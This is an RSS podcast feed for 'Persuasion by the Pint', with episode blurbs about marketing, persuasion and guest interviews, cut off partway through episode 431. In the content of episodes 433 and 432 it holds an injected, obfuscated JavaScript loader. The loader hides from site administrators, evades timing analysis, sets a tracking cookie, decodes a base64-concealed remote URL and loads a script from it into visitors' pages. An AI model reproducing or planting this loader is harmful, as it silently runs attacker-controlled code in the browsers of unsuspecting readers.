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	<itunes:author>Jonathan Taylor and Sean McCool</itunes:author>
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	<copyright>copyright 2018</copyright><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords><itunes:summary>Sean McCool &amp; Jonathan Taylor discuss how psychology is used everyday to influence human behavior. </itunes:summary><itunes:subtitle>Discussing Human Behavior and the Methods Used to Influence Us Everyday</itunes:subtitle><itunes:category text="Business"><itunes:category text="Management &amp; Marketing"/></itunes:category><itunes:owner><itunes:email>jrtaylor73@gmail.com</itunes:email><itunes:name>Jonathan Taylor and Sean McCool</itunes:name></itunes:owner><item>
		<title>437: UFOs, Psyops, and Persuasion – Interview with Barna Donovan, Ph.D.</title>
		<link>http://persuasionbythepint.com/437-disclosure-day-ufos-psyops-and-persuasion-interview-with-barna-donovan-ph-d/</link>
					<comments>http://persuasionbythepint.com/437-disclosure-day-ufos-psyops-and-persuasion-interview-with-barna-donovan-ph-d/#respond</comments>
		
		
		<pubDate>Sat, 20 Jun 2026 14:24:00 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
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		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3355</guid>

					<description><![CDATA[<p>On this episode, Barna Donovan, Ph.D. joins us to discuss &#8220;UFOs, Psyops, and Persuasion&#8221;. UFOs, Barna is a professor of communication and media studies at Saint Peter’s University in Jersey City, New Jersey. He teaches a course on the history of the intersection between conspiracy theories and popular culture, especially the long connection between Hollywood [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/437-disclosure-day-ufos-psyops-and-persuasion-interview-with-barna-donovan-ph-d/">437: UFOs, Psyops, and Persuasion – Interview with Barna Donovan, Ph.D.</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph"><a href="https://www.youtube.com/@persuasionbythepint"></a></p>



<p class="wp-block-paragraph"><a href="https://www.youtube.com/@persuasionbythepint"></a>On this episode, <a href="https://www.saintpeters.edu/academics/faculty/members/barna-donovan/" target="_blank" rel="noopener" title="">Barna Donovan, Ph.D.</a> joins us to discuss &#8220;UFOs, Psyops, and Persuasion&#8221;. UFOs, Barna is a professor of communication and media studies at Saint Peter’s University in Jersey City, New Jersey. He teaches a course on the history of the intersection between conspiracy theories and popular culture, especially the long connection between Hollywood and UFO beliefs.</p>



<p class="wp-block-paragraph">He is also the author of <em><a href="https://amzn.to/44rl0WV" target="_blank" rel="noopener" title="">Conspiracy Films: A Tour of Dark Places in the American Conscious</a></em>, in which he emphasizes the long, intertwined history of filmmakers, UFOs, believers, skeptics, and government intelligence agencies.</p>



<p class="wp-block-paragraph"><a href="https://www.youtube.com/@persuasionbythepint"></a></p>



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<iframe width="560" height="315" src="https://www.youtube.com/embed/_5L7-exSqXg?si=bTRCCWUTRRTUkcbE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe><p>The post <a href="http://persuasionbythepint.com/437-disclosure-day-ufos-psyops-and-persuasion-interview-with-barna-donovan-ph-d/">437: UFOs, Psyops, and Persuasion – Interview with Barna Donovan, Ph.D.</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
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		<itunes:duration>1:02:38</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>On this episode, Barna Donovan, Ph.D. joins us to discuss &amp;#8220;UFOs, Psyops, and Persuasion&amp;#8221;. UFOs, Barna is a professor of communication and media studies at Saint Peter’s University in Jersey City, New Jersey. He teaches a course on the history of the intersection between conspiracy theories and popular culture, especially the long connection between Hollywood [&amp;#8230;] The post 437: UFOs, Psyops, and Persuasion – Interview with Barna Donovan, Ph.D. first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>On this episode, Barna Donovan, Ph.D. joins us to discuss &amp;#8220;UFOs, Psyops, and Persuasion&amp;#8221;. UFOs, Barna is a professor of communication and media studies at Saint Peter’s University in Jersey City, New Jersey. He teaches a course on the history of the intersection between conspiracy theories and popular culture, especially the long connection between Hollywood [&amp;#8230;] The post 437: UFOs, Psyops, and Persuasion – Interview with Barna Donovan, Ph.D. first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>436: Truth, Story, and Influence: The Persuasive Power of Documentaries</title>
		<link>http://persuasionbythepint.com/436-truth-story-and-influence-the-persuasive-power-of-documentaries/</link>
					<comments>http://persuasionbythepint.com/436-truth-story-and-influence-the-persuasive-power-of-documentaries/#respond</comments>
		
		
		<pubDate>Sat, 13 Jun 2026 14:56:44 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
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		<category><![CDATA[Cults]]></category>
		<category><![CDATA[Headlines]]></category>
		<category><![CDATA[Hypnosis]]></category>
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		<category><![CDATA[negotiation]]></category>
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		<category><![CDATA[persuasion]]></category>
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		<category><![CDATA[craft beer]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3349</guid>

					<description><![CDATA[<p>On this episode, Dr. John Mayer joins the show. He is the co-host of the popular podcast, PodCandy: Cults, Crime and Killers. John is an internationally known forensic psychologist and expert on violent behavior and crime prevention. He is an award-winning screenwriter. He has written 13 screenplays, 4 published novels, a stage play, and has [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/436-truth-story-and-influence-the-persuasive-power-of-documentaries/">436: Truth, Story, and Influence: The Persuasive Power of Documentaries</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, <a href="https://drjohnmayer.com/" target="_blank" rel="noopener" title="">Dr. John Mayer</a> joins the show. He is the co-host of the popular podcast, <a href="https://podcandypodcast.com/" target="_blank" rel="noopener" title="">PodCandy: Cults, Crime and Killers</a>. John is an internationally known forensic psychologist and expert on violent behavior and crime prevention.</p>



<p class="wp-block-paragraph">He is an award-winning screenwriter. He has written 13 screenplays, 4 published novels, a stage play, and has consulted on films.</p>



<p class="wp-block-paragraph">Check out their true crime podcast at&nbsp;<a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbVZUXzIyV0ExT2dFT2xmVkhKNmdta183OW1MZ3xBQ3Jtc0trbzZwSnpaV1lUMmZsMjY1YUQ0UGlsMjlGRWRUZzh6RUthWEZNb0pyRnM0YXVvakNFUnd1MjJ3a0oxVFpxUXNJWTRSNjVtdG95WVVyRFl5Mjk0ZWxLZWRlQW9qU0hjLUFqeW9POVZiVWJ0amMxVE13NA&amp;q=https%3A%2F%2Fpodcandypodcast.com%2F&amp;v=73yqisflRVA" target="_blank" rel="noreferrer noopener">https://podcandypodcast.com</a>.</p>



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<iframe loading="lazy" title="Embed Player" src="https://play.libsyn.com/embed/episode/id/41632650/height/192/theme/modern/size/large/thumbnail/yes/custom-color/000000/time-start/00:00:00/playlist-height/200/direction/backward/download/yes/font-color/FFFFFF" height="192" width="100%" scrolling="no" allowfullscreen="" webkitallowfullscreen="true" mozallowfullscreen="true" oallowfullscreen="true" msallowfullscreen="true" style="border-width: medium; border-style: none; border-color: currentcolor; border-image: initial;"></iframe><p>The post <a href="http://persuasionbythepint.com/436-truth-story-and-influence-the-persuasive-power-of-documentaries/">436: Truth, Story, and Influence: The Persuasive Power of Documentaries</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
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				<itunes:episodeType>full</itunes:episodeType>
		<itunes:duration>1:26:35</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>On this episode, Dr. John Mayer joins the show. He is the co-host of the popular podcast, PodCandy: Cults, Crime and Killers. John is an internationally known forensic psychologist and expert on violent behavior and crime prevention. He is an award-winning screenwriter. He has written 13 screenplays, 4 published novels, a stage play, and has [&amp;#8230;] The post 436: Truth, Story, and Influence: The Persuasive Power of Documentaries first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>On this episode, Dr. John Mayer joins the show. He is the co-host of the popular podcast, PodCandy: Cults, Crime and Killers. John is an internationally known forensic psychologist and expert on violent behavior and crime prevention. He is an award-winning screenwriter. He has written 13 screenplays, 4 published novels, a stage play, and has [&amp;#8230;] The post 436: Truth, Story, and Influence: The Persuasive Power of Documentaries first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>435: The Persuasive Power of Analog Marketing</title>
		<link>http://persuasionbythepint.com/435-the-persuasive-power-of-analog-marketing/</link>
					<comments>http://persuasionbythepint.com/435-the-persuasive-power-of-analog-marketing/#respond</comments>
		
		
		<pubDate>Sat, 06 Jun 2026 17:30:19 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
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		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3040</guid>

					<description><![CDATA[<p>On this episode, we improvise on the fly after a guest had to cancel at the last minute. We&#8217;ll be discussing the power of analog marketing and how to wow your prospects and customers with a &#8220;big box&#8221;. We&#8217;ll share some examples of things that have worked not only for getting attention but also for [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/435-the-persuasive-power-of-analog-marketing/">435: The Persuasive Power of Analog Marketing</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, we improvise on the fly after a guest had to cancel at the last minute. We&#8217;ll be discussing the power of analog marketing and how to wow your prospects and customers with a &#8220;big box&#8221;.</p>



<p class="wp-block-paragraph">We&#8217;ll share some examples of things that have worked not only for getting attention but also for winning some big deals. <br></p>



<iframe loading="lazy" title="Embed Player" src="https://play.libsyn.com/embed/episode/id/41558510/height/192/theme/modern/size/large/thumbnail/yes/custom-color/000000/time-start/00:00:00/playlist-height/200/direction/backward/download/yes/font-color/FFFFFF" height="192" width="100%" scrolling="no" allowfullscreen="" webkitallowfullscreen="true" mozallowfullscreen="true" oallowfullscreen="true" msallowfullscreen="true" style="border-width: medium; border-style: none; border-color: currentcolor; border-image: initial;"></iframe>



<iframe loading="lazy" width="560" height="315" src="https://www.youtube.com/embed/pMYeHHhkXU8?si=4H-GzoSBDey0V9Z4" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe><p>The post <a href="http://persuasionbythepint.com/435-the-persuasive-power-of-analog-marketing/">435: The Persuasive Power of Analog Marketing</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
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				<itunes:episodeType>full</itunes:episodeType>
		<itunes:duration>56:00</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>On this episode, we improvise on the fly after a guest had to cancel at the last minute. We&amp;#8217;ll be discussing the power of analog marketing and how to wow your prospects and customers with a &amp;#8220;big box&amp;#8221;. We&amp;#8217;ll share some examples of things that have worked not only for getting attention but also for [&amp;#8230;] The post 435: The Persuasive Power of Analog Marketing first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>On this episode, we improvise on the fly after a guest had to cancel at the last minute. We&amp;#8217;ll be discussing the power of analog marketing and how to wow your prospects and customers with a &amp;#8220;big box&amp;#8221;. We&amp;#8217;ll share some examples of things that have worked not only for getting attention but also for [&amp;#8230;] The post 435: The Persuasive Power of Analog Marketing first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>434: The Ted Lasso Playbook: Unexpected Lessons in Marketing and Persuasion</title>
		<link>http://persuasionbythepint.com/434-the-ted-lasso-playbook-unexpected-lessons-in-marketing-and-persuasion/</link>
					<comments>http://persuasionbythepint.com/434-the-ted-lasso-playbook-unexpected-lessons-in-marketing-and-persuasion/#respond</comments>
		
		
		<pubDate>Sat, 30 May 2026 18:24:04 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
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		<category><![CDATA[craft beer]]></category>
		<category><![CDATA[Lucy Broadbent]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[persuasion and influence]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3025</guid>

					<description><![CDATA[<p>On this episode, Lucy Broadbent joins us. She is the author of What Would Ted Lasso Do?: How Ted&#8217;s Positive Approach Can Help You. Lucy is a journalist, author, and contributor to The Los Angeles Times, The London Times, The Sunday Times, The Telegraph, The Daily Mail, Marie Claire (US, UK, Australian editions), Cosmopolitan, and [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/434-the-ted-lasso-playbook-unexpected-lessons-in-marketing-and-persuasion/">434: The Ted Lasso Playbook: Unexpected Lessons in Marketing and Persuasion</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, Lucy Broadbent joins us. She is the author of <em><a href="https://amzn.to/4nZto95" target="_blank" rel="noopener" title="">What Would Ted Lasso Do?: How Ted&#8217;s Positive Approach Can Help You</a></em>.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="625" height="1000" src="https://persuasionbythepint.com/wp-content/uploads/2026/05/Ted-Lasso-Book.jpg" alt="" class="wp-image-3029" style="aspect-ratio:0.6250171131291927;width:247px;height:auto" srcset="http://persuasionbythepint.com/wp-content/uploads/2026/05/Ted-Lasso-Book.jpg 625w, http://persuasionbythepint.com/wp-content/uploads/2026/05/Ted-Lasso-Book-188x300.jpg 188w" sizes="auto, (max-width: 625px) 100vw, 625px" /></figure>



<p class="wp-block-paragraph">Lucy is a journalist, author, and contributor to The Los Angeles Times, The London Times, The Sunday Times, The Telegraph, The Daily Mail, Marie Claire (US, UK, Australian editions), Cosmopolitan, and Glamour. You can learn more about her book at&nbsp;<a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbDVPa09ucEtQRTN5Ti1Uczk0VzE3WDRWZ0dzd3xBQ3Jtc0ttM2JWelpCbnhkdkRkU0dQckl2b21fV1RZZWRZaFNCTEtORjFmZjZPZkRFQldfa3ZFX19QU0gzdXkxdnRaR2tXMkJqb0pYNlVtZVRhWnV0ZGZXclVJQTU0cC1vMHRQNFgwamw3OXo2QTluM1I1QjRVaw&amp;q=https%3A%2F%2Fwww.lucybroadbent.net%2F&amp;v=d3URrK3Q2os" target="_blank" rel="noreferrer noopener">https://www.lucybroadbent.net</a>.</p>



<iframe loading="lazy" width="560" height="315" src="https://www.youtube.com/embed/d3URrK3Q2os?si=l6KbRDJjuHz8YHj8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>



<iframe loading="lazy" title="Embed Player" src="https://play.libsyn.com/embed/episode/id/41476020/height/192/theme/modern/size/large/thumbnail/yes/custom-color/000000/time-start/00:00:00/playlist-height/200/direction/backward/download/yes/font-color/FFFFFF" height="192" width="100%" scrolling="no" allowfullscreen="" webkitallowfullscreen="true" mozallowfullscreen="true" oallowfullscreen="true" msallowfullscreen="true" style="border-width: medium; border-style: none; border-color: currentcolor; border-image: initial;"></iframe><p>The post <a href="http://persuasionbythepint.com/434-the-ted-lasso-playbook-unexpected-lessons-in-marketing-and-persuasion/">434: The Ted Lasso Playbook: Unexpected Lessons in Marketing and Persuasion</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
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				<itunes:episodeType>full</itunes:episodeType>
		<itunes:duration>1:00:26</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>On this episode, Lucy Broadbent joins us. She is the author of What Would Ted Lasso Do?: How Ted&amp;#8217;s Positive Approach Can Help You. Lucy is a journalist, author, and contributor to The Los Angeles Times, The London Times, The Sunday Times, The Telegraph, The Daily Mail, Marie Claire (US, UK, Australian editions), Cosmopolitan, and [&amp;#8230;] The post 434: The Ted Lasso Playbook: Unexpected Lessons in Marketing and Persuasion first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>On this episode, Lucy Broadbent joins us. She is the author of What Would Ted Lasso Do?: How Ted&amp;#8217;s Positive Approach Can Help You. Lucy is a journalist, author, and contributor to The Los Angeles Times, The London Times, The Sunday Times, The Telegraph, The Daily Mail, Marie Claire (US, UK, Australian editions), Cosmopolitan, and [&amp;#8230;] The post 434: The Ted Lasso Playbook: Unexpected Lessons in Marketing and Persuasion first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>433: What Neuroscience Reveals About the Most Persuasive Messages</title>
		<link>http://persuasionbythepint.com/433-what-neuroscience-reveals-about-the-most-persuasive-messages/</link>
		
		
		<pubDate>Sat, 16 May 2026 18:07:33 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
		<category><![CDATA[Advertising]]></category>
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		<category><![CDATA[Liking]]></category>
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		<category><![CDATA[Podcasts]]></category>
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		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3021</guid>

					<description><![CDATA[<p>On this episode, Frank Niles joins the show. He is a psychologist and executive coach, who helps his clients deliver compelling messages that cause people to act. He is frequently quoted or featured in the media, having appeared in Fast Company, CNN, Inc, US News &#38; World Report, and National Public Radio. His framework is [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/433-what-neuroscience-reveals-about-the-most-persuasive-messages/">433: What Neuroscience Reveals About the Most Persuasive Messages</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, Frank Niles joins the show. He is a psychologist and executive coach, who helps his clients deliver compelling messages that cause people to act.</p>



<p class="wp-block-paragraph">He is frequently quoted or featured in the media, having appeared in Fast Company, CNN, Inc, US News &amp; World Report, and National Public Radio. His framework is called the A.W.E Method, and we&#8217;ll be breaking it down on the show.</p>



<p class="wp-block-paragraph">You can learn more about his work at <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqa0EwTzVPLVdyRFNycS1CNkRqdVctd2xoZEdaQXxBQ3Jtc0tranNCa0stTHhvNWl1b3R3WjlsbzB5TXhfakRYLW5USVVmUHpLaFI3amRMcllZd1hCbzBhYWl5eFZ0U2ZfNURYRExFZGpwM1B6S0YxTDlZd1puRE1qNHVRcHVDblZyTGIwSFdwY2poM19zdksyV19lOA&amp;q=https%3A%2F%2Ffrankniles.com%2F&amp;v=mrxlhNveFzs" target="_blank" rel="noreferrer noopener">https://frankniles.com</a>.</p>



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<iframe loading="lazy" width="560" height="315" src="https://www.youtube.com/embed/mrxlhNveFzs?si=XY7fxzfjrIm9-fOV" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="http://persuasionbythepint.com/433-what-neuroscience-reveals-about-the-most-persuasive-messages/">433: What Neuroscience Reveals About the Most Persuasive Messages</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
		
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				<itunes:episodeType>full</itunes:episodeType>
		<itunes:duration>1:25:43</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>On this episode, Frank Niles joins the show. He is a psychologist and executive coach, who helps his clients deliver compelling messages that cause people to act. He is frequently quoted or featured in the media, having appeared in Fast Company, CNN, Inc, US News &amp;#38; World Report, and National Public Radio. His framework is [&amp;#8230;] The post 433: What Neuroscience Reveals About the Most Persuasive Messages first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>On this episode, Frank Niles joins the show. He is a psychologist and executive coach, who helps his clients deliver compelling messages that cause people to act. He is frequently quoted or featured in the media, having appeared in Fast Company, CNN, Inc, US News &amp;#38; World Report, and National Public Radio. His framework is [&amp;#8230;] The post 433: What Neuroscience Reveals About the Most Persuasive Messages first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>432: He Turned Juan Valdez Into One of the Most Iconic Brand Characters: Interview with Carlos Tribino</title>
		<link>http://persuasionbythepint.com/432-he-turned-juan-valdez-into-one-of-the-most-iconic-brand-characters-interview-with-carlos-tribino/</link>
		
		
		<pubDate>Sat, 09 May 2026 14:03:54 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
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		<category><![CDATA[Branding]]></category>
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		<category><![CDATA[Headlines]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Liking]]></category>
		<category><![CDATA[negotiation]]></category>
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		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3017</guid>

					<description><![CDATA[<p>On this episode, we welcome Carlos Tribino to the show. Carlos is CEO of The Machine, a company that builds influential brands with emotional connections. Carlos&#8217;s claim to fame is turning Juan Valdez into one of Fast Company’s 10 most iconic brand characters in history. Some of the brands he helped are Ferrari, Giorgio Armani, [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/432-he-turned-juan-valdez-into-one-of-the-most-iconic-brand-characters-interview-with-carlos-tribino/">432: He Turned Juan Valdez Into One of the Most Iconic Brand Characters: Interview with Carlos Tribino</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, we welcome <a href="https://www.themachine.biz/our-team/" target="_blank" rel="noopener" title="">Carlos Tribino</a> to the show. Carlos is CEO of <a href="https://www.themachine.biz/" target="_blank" rel="noopener" title="">The Machine</a>, a company that builds influential brands with emotional connections. Carlos&#8217;s claim to fame is turning Juan Valdez into one of Fast Company’s 10 most iconic brand characters in history.</p>



<p class="wp-block-paragraph">Some of the brands he helped are Ferrari, Giorgio Armani, MTV, Guinness, WebMD, GiftCards.com, Walt Disney, and Chivas Regal, to name a few.</p>



<p class="wp-block-paragraph">You can learn more about their company at <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbEhMYmlhb2tXUEllZHR3bUxxYW5QdEw2ejRtZ3xBQ3Jtc0trVXZRZzRpNC1uQXZXQ1EyRlM3S2paVkE2WWd3LVRacExrazg2UXUyTUJ5SmhnVnExOXkySVF2VzFxb29sY2hxXzBtME5kWkRSbnFaWFIzVHNTQTh0d3ZUNUI1aVE2bTNZeHlkckFHUnE0YTNzazNuaw&amp;q=https%3A%2F%2Fwww.themachine.biz%2F&amp;v=0iREIC1tccs" target="_blank" rel="noreferrer noopener">https://www.themachine.biz</a>.</p>



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<p class="wp-block-paragraph"></p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="http://persuasionbythepint.com/432-he-turned-juan-valdez-into-one-of-the-most-iconic-brand-characters-interview-with-carlos-tribino/">432: He Turned Juan Valdez Into One of the Most Iconic Brand Characters: Interview with Carlos Tribino</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
		
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				<itunes:episodeType>full</itunes:episodeType>
		<itunes:duration>56:12</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>On this episode, we welcome Carlos Tribino to the show. Carlos is CEO of The Machine, a company that builds influential brands with emotional connections. Carlos&amp;#8217;s claim to fame is turning Juan Valdez into one of Fast Company’s 10 most iconic brand characters in history. Some of the brands he helped are Ferrari, Giorgio Armani, [&amp;#8230;] The post 432: He Turned Juan Valdez Into One of the Most Iconic Brand Characters: Interview with Carlos Tribino first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>On this episode, we welcome Carlos Tribino to the show. Carlos is CEO of The Machine, a company that builds influential brands with emotional connections. Carlos&amp;#8217;s claim to fame is turning Juan Valdez into one of Fast Company’s 10 most iconic brand characters in history. Some of the brands he helped are Ferrari, Giorgio Armani, [&amp;#8230;] The post 432: He Turned Juan Valdez Into One of the Most Iconic Brand Characters: Interview with Carlos Tribino first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>431: Persuasion Flight: McDonald’s Disaster, RedBull Guerilla Marketing, Cold Caking, KitKat Heist &amp; More</title>
		<link>http://persuasionbythepint.com/431-persuasion-flight-mcdonalds-disaster-redbull-guerilla-marketing-cold-caking-kitkat-heist-more/</link>
		
		
		<pubDate>Sat, 02 May 2026 17:12:28 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
		<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Branding]]></category>
		<category><![CDATA[Commitment and Consistency]]></category>
		<category><![CDATA[Copywriting]]></category>
		<category><![CDATA[Cults]]></category>
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		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Liking]]></category>
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		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3014</guid>

					<description><![CDATA[<p>In this episode, we cover a flight of persuasion topics. These include: 1. McDonald&#8217;s Disaster (CEO Big Arch Burger Video) 2. French Fry Cookies (Repackaging) 3. Cold Caking 4. Lowering the Lights Makes You Spend More (Bars and Restaurants) 5. The KitKat Heist 6. Red Bull Guerilla Marketing&#160; 7. Pinterest&#8217;s &#8220;Best Thing Online Is a [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/431-persuasion-flight-mcdonalds-disaster-redbull-guerilla-marketing-cold-caking-kitkat-heist-more/">431: Persuasion Flight: McDonald’s Disaster, RedBull Guerilla Marketing, Cold Caking, KitKat Heist & More</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">In this episode, we cover a flight of persuasion topics. These include:</p>


